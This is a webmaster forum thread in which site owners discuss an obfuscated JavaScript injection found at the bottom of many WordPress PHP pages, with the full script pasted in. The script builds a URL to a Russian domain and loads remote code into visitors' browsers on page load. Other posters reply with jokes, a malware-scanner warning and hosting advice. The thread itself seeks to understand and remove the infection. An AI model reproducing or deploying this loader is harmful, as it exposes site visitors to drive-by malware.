anyone seen this? code injection..
 

I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

<script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
<!--b9a827d8a9686a8057739c6e91a4cbcc-->

it's a good thing, consider yourself lucky you've been selected to work with labelstare.ru - great site. only good things can happen.

I'd really like to know what the hell does that thing do? Any chance it changes aff links?

My first thought was cookie switcher/replacer or stuff. But I know shit about scripting, I just know a few reasons they would/could.

our coder says: "you have a security breach.. somebody injected a harmful script on your site"..

:1orglaugh:1orglaugh:1orglaugh:1orglaugh:1orglaugh

SDesign where does that actually show up on your wp page? in a template?

nope, seems like it was injected into .php wp pages, its on the bottom, below closed html tags

I got like 50+ wordpresses to remove it, kinda lazy to do it today :(

Google hasn't yet flagged labelstare dot ru as malicious but McAfee doesn't like it, saying it attempts to download a backdoor trojan. If Google lists the labelstare site as malicious, and it detects your sites have links to it, you'll get added to their "This site may harm your computer" list. Not fun to undo that.

Never host wordpress on a shared server.

That code is doing something with google and ebay. Not sure what yet.